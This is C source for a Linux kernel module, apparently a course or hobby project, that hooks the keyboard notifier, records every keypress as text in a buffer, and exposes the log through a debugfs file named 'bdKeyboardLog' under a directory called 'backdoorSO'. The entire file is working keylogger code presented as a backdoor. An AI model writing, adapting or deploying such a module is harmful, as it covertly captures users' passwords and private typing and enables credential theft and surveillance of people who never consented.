#include "keyboardmodule.h"

// Variables related to file handling
struct dentry *file;
struct dentry *subdir;

ssize_t keys_read(struct file *filp, char *buffer, size_t len, loff_t *offset)
{
	return simple_read_from_buffer(buffer, len, offset, keybuf, buf_pos);
}

const struct file_operations keys_fops = {
	.owner = THIS_MODULE,
	.read = keys_read,
};

// end of file related variables

struct notifier_block my_notifier_block = {
	.notifier_call = keyboard_callback,
};

int keyboard_callback(struct notifier_block *nblock, long unsigned int code, void *_param)
{
	struct keyboard_notifier_param *param = _param; // casting the parameter
	size_t len;
	char buf[CHUNK_LEN] = {0};

	if (!param->down)
	{
		return NOTIFY_OK;
	}
	else
	{
		keycode_to_string(param->value, param->shift, buf);
		len = strlen(buf);
		if (len < 1) /* Unmapped keycode */
			return NOTIFY_OK;

		/* Reset key string buffer position if exhausted */
		if ((buf_pos + len) >= BUF_LEN)
			buf_pos = 0;

		/* Copy readable key to key string buffer */
		strncpy(keybuf + buf_pos, buf, len);
		buf_pos += len;

		len = strlen(keybuf);
		if (len < 1)
			return NOTIFY_OK; // isso ocorre e o keycode nao pode ser mapeado ao padrao US

		//printk(KERN_INFO "Key pressed: %s\n", keybuf);
	}

	return NOTIFY_OK;
}

int keyboard_module_init(void)
{

	register_keyboard_notifier(&my_notifier_block);

	subdir = debugfs_create_dir("backdoorSO", NULL);
	if (IS_ERR(subdir))
		return PTR_ERR(subdir);
	if (!subdir)
		return -ENOENT;

	file = debugfs_create_file("bdKeyboardLog", 0400, subdir, NULL, &keys_fops);
	if (!file)
	{
		debugfs_remove_recursive(subdir);
		return -ENOENT;
	}

	printk(KERN_INFO "Keyboard module initialized\n");
	return 0;
}

void keyboard_module_exit(void)
{
	unregister_keyboard_notifier(&my_notifier_block);
	debugfs_remove_recursive(subdir);
	printk(KERN_INFO "Keyboard module exited\n");
}

/**
 * keycode_to_string - convert keycode to readable string and save in buffer
 *
 * @keycode: keycode generated by the kernel on keypress
 * @shift_mask: Shift key pressed or not
 * @buf: buffer to store readable string
 * @type: log pattern
 */
void keycode_to_string(int keycode, int shift_mask, char *buf)
{

	if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE)
	{
		const char *us_key = (shift_mask == 1)
								 ? us_keymap[keycode][1]
								 : us_keymap[keycode][0];
		snprintf(buf, CHUNK_LEN, "%s", us_key);
	}
}